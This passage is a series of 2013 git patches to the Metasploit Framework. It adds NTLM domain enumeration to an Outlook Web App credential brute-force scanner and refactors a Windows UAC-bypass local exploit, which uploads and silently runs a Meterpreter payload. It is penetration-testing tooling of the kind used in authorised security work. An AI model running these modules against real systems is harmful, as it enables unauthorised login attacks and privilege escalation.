domain + '\\' + user if domain - user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != '' + headers = { 'Cookie' => 'PBack=0' } @@ -254,6 +228,47 @@ class Metasploit3 < Msf::Auxiliary end end + def get_ad_domain + urls = ["aspnet_client", + "Autodiscover", + "ecp", + "EWS", + "Microsoft-Server-ActiveSync", + "OAB", + "PowerShell", + "Rpc"] + + domain = nil + + begin + urls.each do |url| + res = send_request_cgi({ + 'encode' => true, + 'uri' => "/#{url}", + 'method' => 'GET', + 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }, 25) + + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end + + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + print_good("Found target domain: " + domain) + break + end + end + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end + return domain + end + def msg "#{vhost}:#{rport} OWA -" end From a863005d337a5565641f00bbbdea8af71d6a7414 Mon Sep 17 00:00:00 2001 From: kaospunk Date: Thu, 22 Aug 2013 14:20:42 -0400 Subject: [PATCH 017/409] Removed blanks at EOL Fixed blanks at EOL per msftidy messages --- modules/auxiliary/scanner/http/owa_login.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 4e2f06f770..1ad5717fa1 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -115,9 +115,9 @@ class Metasploit3 < Msf::Auxiliary auth_path = action.opts['AuthPath'] inbox_path = action.opts['InboxPath'] login_check = action.opts['InboxCheck'] - + domain = nil - + if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' if datastore['ENUM_DOMAIN'] domain = get_ad_domain @@ -143,10 +143,10 @@ class Metasploit3 < Msf::Auxiliary inbox_path = opts["inbox_path"] login_check = opts["login_check"] vhost = opts["vhost"] - domain = opts["domain"] - + domain = opts["domain"] + user = domain + '\\' + user if domain - + headers = { 'Cookie' => 'PBack=0' } From 3b9ded5a8e4b44385e54cc2b92c3f0b6f909f644 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 26 Aug 2013 13:54:55 +0100 Subject: [PATCH 018/409] BypassUAC now checks if the process is LowIntegrityLevel and fails if so. Some small improvements made to Post::Priv and BypassUAC module. --- lib/msf/core/post/windows/priv.rb | 91 ++++++++++++++++++++- modules/exploits/windows/local/bypassuac.rb | 68 ++++++--------- 2 files changed, 116 insertions(+), 43 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index a64a39e698..d968dc2f59 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -10,6 +10,22 @@ module Priv include ::Msf::Post::Windows::Accounts + LowIntegrityLevel = 'S-1-16-4096' + MediumIntegrityLevel = 'S-1-16-8192' + HighIntegrityLevel = 'S-1-16-12288' + SystemIntegrityLevel = 'S-1-16-16384' + + Administrators = 'S-1-5-32-544' + + # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx + # ConsentPromptBehaviorAdmin + UACNoPrompt = 0 + UACPromptCredsIfSecureDesktop = 1 + UACPromptConsentIfSecureDesktop = 2 + UACPromptCreds = 3 + UACPromptConsent = 4 + UACDefault = 5 + # # Returns true if user is admin and false if not. # @@ -28,6 +44,22 @@ module Priv end end + # + # Returns true if in the administrator group + # + def is_in_admin_group? + whoami = get_whoami + + if whoami.nil? + print_error("Unable to identify admin group membership") + return nil + elsif whoami.include? Administrators + return true + else + return false + end + end + # # Returns true if running as Local System # @@ -60,8 +92,8 @@ module Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|2008)/ - if session.sys.config.getuid != "NT AUTHORITY\\SYSTEM" + if winversion =~ /Windows (Vista|7|8|2008)/ + unless is_system? begin key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) @@ -78,6 +110,61 @@ module Priv return uac end + # + # Returns the UAC Level + # + # 2 - Always Notify, 5 - Default, 0 - Disabled + # + def get_uac_level + begin + open_key = session.sys.registry.open_key( + HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + KEY_READ + ) + uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') + rescue Exception => e + print_error("Error Checking UAC: #{e.class} #{e}") + end + return uac_level.data + end + + # + # Returns the Integrity Level + # + def get_integrity_level + whoami = get_whoami + + if whoami.nil? + print_error("Unable to identify integrity level") + return nil + elsif whoami.include? LowIntegrityLevel + return LowIntegrityLevel + elsif whoami.include? MediumIntegrityLevel + return MediumIntegrityLevel + elsif whoami.include? HighIntegrityLevel + return HighIntegrityLevel + elsif whoami.include? SystemIntegrityLevel + return SystemIntegrityLevel + end + end + + # + # Returns the output of whoami /groups + # + # Returns nil if Windows whoami is not available + # + def get_whoami + whoami = cmd_exec('cmd /c whoami /groups') + + if whoami.nil? or whoami.empty? + return nil + elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ + return nil + else + return whoami + end + end + # # Return true if the session has extended capabilities (ie meterpreter) # diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index eb3cb14c12..1ac53840a4 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -9,6 +9,7 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/exploit/exe' require 'msf/core/post/file' +require '/msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking @@ -16,6 +17,7 @@ class Metasploit3 < Msf::Exploit::Local include Post::Common include Exploit::EXE include Post::File + include Post::Windows::Priv def initialize(info={}) super( update_info( info, @@ -45,67 +47,47 @@ class Metasploit3 < Msf::Exploit::Local def exploit - isadmin = session.railgun.shell32.IsUserAnAdmin() - if isadmin['return'] - print_error('Already in elevated state. Exiting...') - return - end + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? # # Verify use against Vista+ # - vuln = false winver = sysinfo["OS"] if winver !~ /Windows Vista|Windows 2008|Windows [78]/ - print_error("#{winver} is not vulnerable.") - return + fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") end - root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") - open_key = session.sys.registry.open_key(root_key, base_key) - lua_setting = open_key.query_value('EnableLUA') - - if lua_setting.data == 1 + if is_uac_enabled? print_status "UAC is Enabled, checking level..." else - print_error "UAC is not enabled, no reason to run module, exiting..." - print_error "Run exploit/windows/local/ask to elevate" - return + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" + ) end - uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') - - case uac_level.data - when 2 - print_error "UAC is set to 'Always Notify'" - print_error "This module does not bypass this setting, exiting..." - return - when 5 + case get_uac_level + when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent + fail_with(Exploit::Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + ) + when UACDefault print_good "UAC is set to Default" - print_good "BypassUAC can bypass this setting, continuing..." - when 0 - print_error "UAC is not enabled, no reason to run module" - print_error "Run exploit/windows/local/ask to elevate" - return + print_status "BypassUAC can bypass this setting, continuing..." + when UACNoPrompt + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" + ) end # Check if you are an admin print_status('Checking admin status...') - whoami = session.sys.process.execute('cmd /c whoami /groups', - nil, - {'Hidden' => true, 'Channelized' => true} - ) - cmdout = [] - isinadmins = [] - while(cmdoutput = whoami.channel.read) - cmdout << cmdoutput - end - if cmdout.size == 0 + admin_group = is_in_admin_group? + + if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else - isinadmins = cmdout.join.scan(/S-1-5-32-544/) - if isinadmins.size > 0 + if admin_group print_good('Part of Administrators group! Continuing...') else print_error('Not in admins group, cannot escalate with this module') @@ -114,6 +96,10 @@ class Metasploit3 < Msf::Exploit::Local end end + if get_integrity_level == LowIntegrityLevel + fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + end + # # Generate payload and random names for upload # From 05f1622fcbbffbe877fadd7bb5c31ecb9b157344 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 26 Aug 2013 16:21:18 +0100 Subject: [PATCH 019/409] Fix require --- modules/exploits/windows/local/bypassuac.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 1ac53840a4..81e2287544 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -9,7 +9,7 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/exploit/exe' require 'msf/core/post/file' -require '/msf/core/post/windows/priv' +require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking From d0360733d7dcd4ba6ef164afb6bf398ee1cb0244 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:05:34 -0500 Subject: [PATCH 020/409] Retab changes for PR #2282 --- lib/msf/core/post/windows/priv.rb | 258 ++++++++++---------- modules/exploits/windows/local/bypassuac.rb | 240 +++++++++--------- 2 files changed, 249 insertions(+), 249 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 9944ae9770..646be24b19 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -10,77 +10,77 @@ module Priv include ::Msf::Post::Windows::Accounts - LowIntegrityLevel = 'S-1-16-4096' - MediumIntegrityLevel = 'S-1-16-8192' - HighIntegrityLevel = 'S-1-16-12288' - SystemIntegrityLevel = 'S-1-16-16384' + LowIntegrityLevel = 'S-1-16-4096' + MediumIntegrityLevel = 'S-1-16-8192' + HighIntegrityLevel = 'S-1-16-12288' + SystemIntegrityLevel = 'S-1-16-16384' - Administrators = 'S-1-5-32-544' + Administrators = 'S-1-5-32-544' - # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx - # ConsentPromptBehaviorAdmin - UACNoPrompt = 0 - UACPromptCredsIfSecureDesktop = 1 - UACPromptConsentIfSecureDesktop = 2 - UACPromptCreds = 3 - UACPromptConsent = 4 - UACDefault = 5 + # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx + # ConsentPromptBehaviorAdmin + UACNoPrompt = 0 + UACPromptCredsIfSecureDesktop = 1 + UACPromptConsentIfSecureDesktop = 2 + UACPromptCreds = 3 + UACPromptConsent = 4 + UACDefault = 5 - # - # Returns true if user is admin and false if not. - # - def is_admin? - if session_has_ext - # Assume true if the OS doesn't expose this (Windows 2000) - session.railgun.shell32.IsUserAnAdmin()["return"] rescue true - else - cmd = "cmd.exe /c reg query HKU\\S-1-5-19" - results = session.shell_command_token_win32(cmd) - if results =~ /Error/ - return false - else - return true - end - end - end + # + # Returns true if user is admin and false if not. + # + def is_admin? + if session_has_ext + # Assume true if the OS doesn't expose this (Windows 2000) + session.railgun.shell32.IsUserAnAdmin()["return"] rescue true + else + cmd = "cmd.exe /c reg query HKU\\S-1-5-19" + results = session.shell_command_token_win32(cmd) + if results =~ /Error/ + return false + else + return true + end + end + end - # - # Returns true if in the administrator group - # - def is_in_admin_group? - whoami = get_whoami + # + # Returns true if in the administrator group + # + def is_in_admin_group? + whoami = get_whoami - if whoami.nil? - print_error("Unable to identify admin group membership") - return nil - elsif whoami.include? Administrators - return true - else - return false - end - end + if whoami.nil? + print_error("Unable to identify admin group membership") + return nil + elsif whoami.include? Administrators + return true + else + return false + end + end - # - # Returns true if running as Local System - # - def is_system? - if session_has_ext - local_sys = resolve_sid("S-1-5-18") - if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}" - return true - else - return false - end - else - cmd = "cmd.exe /c reg query HKLM\\SAM\\SAM" - results = session.shell_command_token_win32(cmd) - if results =~ /Error/ - return false - else - return true - end - end - end + # + # Returns true if running as Local System + # + def is_system? + if session_has_ext + local_sys = resolve_sid("S-1-5-18") + if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}" + return true + else + return false + end + else + cmd = "cmd.exe /c reg query HKLM\\SAM\\SAM" + results = session.shell_command_token_win32(cmd) + if results =~ /Error/ + return false + else + return true + end + end + end # # Returns true if UAC is enabled @@ -92,10 +92,10 @@ module Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008)/ - unless is_system? - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) + if winversion =~ /Windows (Vista|7|8|2008)/ + unless is_system? + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) if key.query_value('EnableLUA').data == 1 uac = true @@ -110,71 +110,71 @@ module Priv return uac end - # - # Returns the UAC Level - # - # 2 - Always Notify, 5 - Default, 0 - Disabled - # - def get_uac_level - begin - open_key = session.sys.registry.open_key( - HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', - KEY_READ - ) - uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') - rescue Exception => e - print_error("Error Checking UAC: #{e.class} #{e}") - end - return uac_level.data - end + # + # Returns the UAC Level + # + # 2 - Always Notify, 5 - Default, 0 - Disabled + # + def get_uac_level + begin + open_key = session.sys.registry.open_key( + HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + KEY_READ + ) + uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') + rescue Exception => e + print_error("Error Checking UAC: #{e.class} #{e}") + end + return uac_level.data + end - # - # Returns the Integrity Level - # - def get_integrity_level - whoami = get_whoami + # + # Returns the Integrity Level + # + def get_integrity_level + whoami = get_whoami - if whoami.nil? - print_error("Unable to identify integrity level") - return nil - elsif whoami.include? LowIntegrityLevel - return LowIntegrityLevel - elsif whoami.include? MediumIntegrityLevel - return MediumIntegrityLevel - elsif whoami.include? HighIntegrityLevel - return HighIntegrityLevel - elsif whoami.include? SystemIntegrityLevel - return SystemIntegrityLevel - end - end + if whoami.nil? + print_error("Unable to identify integrity level") + return nil + elsif whoami.include? LowIntegrityLevel + return LowIntegrityLevel + elsif whoami.include? MediumIntegrityLevel + return MediumIntegrityLevel + elsif whoami.include? HighIntegrityLevel + return HighIntegrityLevel + elsif whoami.include? SystemIntegrityLevel + return SystemIntegrityLevel + end + end - # - # Returns the output of whoami /groups - # - # Returns nil if Windows whoami is not available - # - def get_whoami - whoami = cmd_exec('cmd /c whoami /groups') + # + # Returns the output of whoami /groups + # + # Returns nil if Windows whoami is not available + # + def get_whoami + whoami = cmd_exec('cmd /c whoami /groups') - if whoami.nil? or whoami.empty? - return nil - elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ - return nil - else - return whoami - end - end + if whoami.nil? or whoami.empty? + return nil + elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ + return nil + else + return whoami + end + end - # - # Return true if the session has extended capabilities (ie meterpreter) - # - def session_has_ext - begin - return !!(session.railgun and session.sys.config) - rescue NoMethodError - return false - end - end + # + # Return true if the session has extended capabilities (ie meterpreter) + # + def session_has_ext + begin + return !!(session.railgun and session.sys.config) + rescue NoMethodError + return false + end + end end end diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 81e2287544..3a5efd4077 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -12,148 +12,148 @@ require 'msf/core/post/file' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local - Rank = ExcellentRanking + Rank = ExcellentRanking - include Post::Common - include Exploit::EXE - include Post::File - include Post::Windows::Priv + include Post::Common + include Exploit::EXE + include Post::File + include Post::Windows::Priv - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate UAC Protection Bypass', - 'Description' => %q{ - This module will bypass Windows UAC by utilizing the trusted publisher - certificate through process injection. It will spawn a second shell that - has the UAC flag turned off. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'David Kennedy "ReL1K" ', - 'mitnick', - 'mubix' # Port to local exploit - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], - 'DefaultTarget' => 0, - 'References' => [ - [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] - ], - 'DisclosureDate'=> "Dec 31 2010" - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Escalate UAC Protection Bypass', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the trusted publisher + certificate through process injection. It will spawn a second shell that + has the UAC flag turned off. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'David Kennedy "ReL1K" ', + 'mitnick', + 'mubix' # Port to local exploit + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] + ], + 'DisclosureDate'=> "Dec 31 2010" + )) - end + end - def exploit + def exploit - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? - # - # Verify use against Vista+ - # - winver = sysinfo["OS"] - if winver !~ /Windows Vista|Windows 2008|Windows [78]/ - fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") - end + # + # Verify use against Vista+ + # + winver = sysinfo["OS"] + if winver !~ /Windows Vista|Windows 2008|Windows [78]/ + fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") + end - if is_uac_enabled? - print_status "UAC is Enabled, checking level..." - else - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" - ) - end + if is_uac_enabled? + print_status "UAC is Enabled, checking level..." + else + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" + ) + end - case get_uac_level - when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent - fail_with(Exploit::Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." - ) - when UACDefault - print_good "UAC is set to Default" - print_status "BypassUAC can bypass this setting, continuing..." - when UACNoPrompt - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" - ) - end + case get_uac_level + when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent + fail_with(Exploit::Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + ) + when UACDefault + print_good "UAC is set to Default" + print_status "BypassUAC can bypass this setting, continuing..." + when UACNoPrompt + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" + ) + end - # Check if you are an admin - print_status('Checking admin status...') - admin_group = is_in_admin_group? + # Check if you are an admin + print_status('Checking admin status...') + admin_group = is_in_admin_group? - if admin_group.nil? - print_error('Either whoami is not there or failed to execute') - print_error('Continuing under assumption you already checked...') - else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - print_error('Not in admins group, cannot escalate with this module') - print_error('Exiting...') - return - end - end + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + print_error('Not in admins group, cannot escalate with this module') + print_error('Exiting...') + return + end + end - if get_integrity_level == LowIntegrityLevel - fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") - end + if get_integrity_level == LowIntegrityLevel + fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + end - # - # Generate payload and random names for upload - # - payload = generate_payload_exe + # + # Generate payload and random names for upload + # + payload = generate_payload_exe - # randomize the bypass_uac_filename - bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + # randomize the bypass_uac_filename + bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - # randomize the payload exe name - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + # randomize the payload exe name + payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - # path to the bypassuac binary - path = ::File.join(Msf::Config.install_root, "data", "post") + # path to the bypassuac binary + path = ::File.join(Msf::Config.install_root, "data", "post") - # decide, x86 or x64 - bpexe = nil - if sysinfo["Architecture"] =~ /x64/i - bpexe = ::File.join(path, "bypassuac-x64.exe") - else - bpexe = ::File.join(path, "bypassuac-x86.exe") - end + # decide, x86 or x64 + bpexe = nil + if sysinfo["Architecture"] =~ /x64/i + bpexe = ::File.join(path, "bypassuac-x64.exe") + else + bpexe = ::File.join(path, "bypassuac-x86.exe") + end - tmpdir = session.fs.file.expand_path("%TEMP%") - cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" + tmpdir = session.fs.file.expand_path("%TEMP%") + cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" - print_status("Uploading the bypass UAC executable to the filesystem...") + print_status("Uploading the bypass UAC executable to the filesystem...") - begin - # - # Upload UAC bypass to the filesystem - # - session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) - print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") - # - # Upload the payload to the filesystem - # - tempexe = tmpdir + "\\" + payload_filename - fd = client.fs.file.new(tempexe, "wb") - fd.write(payload) - fd.close - rescue ::Exception => e - print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") - return - end + begin + # + # Upload UAC bypass to the filesystem + # + session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) + print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") + # + # Upload the payload to the filesystem + # + tempexe = tmpdir + "\\" + payload_filename + fd = client.fs.file.new(tempexe, "wb") + fd.write(payload) + fd.close + rescue ::Exception => e + print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") + return + end - print_status("Uploaded the agent to the filesystem....") + print_status("Uploaded the agent to the filesystem....") - # execute the payload - session.sys.process.execute(cmd, nil, {'Hidden' => true}) + # execute the payload + session.sys.process.execute(cmd, nil, {'Hidden' => true}) - # delete the uac bypass payload - delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" + # delete the uac bypass payload + delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" - session.sys.process.execute(delete_file, nil, {'Hidden' => true}) - end + session.sys.process.execute(delete_file, nil, {'Hidden' => true}) + end end From 015ac6d92c360934a721b5fd80202627e88417ed Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:09:44 -0500 Subject: [PATCH 021/409] Retab changes for PR #2273 --- modules/auxiliary/scanner/http/owa_login.rb | 448 ++++++++++---------- 1 file changed, 224 insertions(+), 224 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 1ad5717fa1..57d32971d6 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -10,268 +10,268 @@ require 'rex/proto/ntlm/message' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Auxiliary::AuthBrute - include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Exploit::Remote::HttpClient - def initialize - super( - 'Name' => 'Outlook Web App (OWA) Brute Force Utility', - 'Description' => %q{ - This module tests credentials on OWA 2003, 2007 and 2010 servers. The default - action is set to OWA 2010. - }, - 'Author' => - [ - 'Vitor Moreira', - 'Spencer McIntyre', - 'SecureState R&D Team', - 'sinn3r', - 'Brandon Knight' - ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ - 'OWA 2003', - { - 'Description' => 'OWA version 2003', - 'AuthPath' => '/exchweb/bin/auth/owaauth.dll', - 'InboxPath' => '/exchange/', - 'InboxCheck' => /Inbox/ - } - ], - [ - 'OWA 2007', - { - 'Description' => 'OWA version 2007', - 'AuthPath' => '/owa/auth/owaauth.dll', - 'InboxPath' => '/owa/', - 'InboxCheck' => /addrbook.gif/ - } - ], - [ - 'OWA 2010', - { - 'Description' => 'OWA version 2010', - 'AuthPath' => '/owa/auth.owa', - 'InboxPath' => '/owa/', - 'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\/ - } - ] - ], - 'DefaultAction' => 'OWA 2010' - ) + def initialize + super( + 'Name' => 'Outlook Web App (OWA) Brute Force Utility', + 'Description' => %q{ + This module tests credentials on OWA 2003, 2007 and 2010 servers. The default + action is set to OWA 2010. + }, + 'Author' => + [ + 'Vitor Moreira', + 'Spencer McIntyre', + 'SecureState R&D Team', + 'sinn3r', + 'Brandon Knight' + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ + 'OWA 2003', + { + 'Description' => 'OWA version 2003', + 'AuthPath' => '/exchweb/bin/auth/owaauth.dll', + 'InboxPath' => '/exchange/', + 'InboxCheck' => /Inbox/ + } + ], + [ + 'OWA 2007', + { + 'Description' => 'OWA version 2007', + 'AuthPath' => '/owa/auth/owaauth.dll', + 'InboxPath' => '/owa/', + 'InboxCheck' => /addrbook.gif/ + } + ], + [ + 'OWA 2010', + { + 'Description' => 'OWA version 2010', + 'AuthPath' => '/owa/auth.owa', + 'InboxPath' => '/owa/', + 'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\/ + } + ] + ], + 'DefaultAction' => 'OWA 2010' + ) - register_options( - [ - OptInt.new('RPORT', [ true, "The target port", 443]), - ], self.class) + register_options( + [ + OptInt.new('RPORT', [ true, "The target port", 443]), + ], self.class) - register_advanced_options( - [ - OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), - OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), - OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) - ], self.class) + register_advanced_options( + [ + OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), + OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), + OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) + ], self.class) - deregister_options('BLANK_PASSWORDS') - end + deregister_options('BLANK_PASSWORDS') + end - def cleanup - # Restore the original settings - datastore['BLANK_PASSWORDS'] = @blank_passwords_setting - datastore['USER_AS_PASS'] = @user_as_pass_setting - end + def cleanup + # Restore the original settings + datastore['BLANK_PASSWORDS'] = @blank_passwords_setting + datastore['USER_AS_PASS'] = @user_as_pass_setting + end - def run - # Store the original setting - @blank_passwords_setting = datastore['BLANK_PASSWORDS'] + def run + # Store the original setting + @blank_passwords_setting = datastore['BLANK_PASSWORDS'] - # OWA doesn't support blank passwords - datastore['BLANK_PASSWORDS'] = false + # OWA doesn't support blank passwords + datastore['BLANK_PASSWORDS'] = false - # If there's a pre-defined username/password, we need to turn off USER_AS_PASS - # so that the module won't just try username:username, and then exit. - @user_as_pass_setting = datastore['USER_AS_PASS'] - if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil? - print_status("Disabling 'USER_AS_PASS' because you've specified an username/password") - datastore['USER_AS_PASS'] = false - end + # If there's a pre-defined username/password, we need to turn off USER_AS_PASS + # so that the module won't just try username:username, and then exit. + @user_as_pass_setting = datastore['USER_AS_PASS'] + if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil? + print_status("Disabling 'USER_AS_PASS' because you've specified an username/password") + datastore['USER_AS_PASS'] = false + end - vhost = datastore['VHOST'] || datastore['RHOST'] + vhost = datastore['VHOST'] || datastore['RHOST'] - print_status("#{msg} Testing version #{action.name}") + print_status("#{msg} Testing version #{action.name}") - # Here's a weird hack to check if each_user_pass is empty or not - # apparently you cannot do each_user_pass.empty? or even inspect() it - isempty = true - each_user_pass do |user| - isempty = false - break - end - print_error("No username/password specified") if isempty + # Here's a weird hack to check if each_user_pass is empty or not + # apparently you cannot do each_user_pass.empty? or even inspect() it + isempty = true + each_user_pass do |user| + isempty = false + break + end + 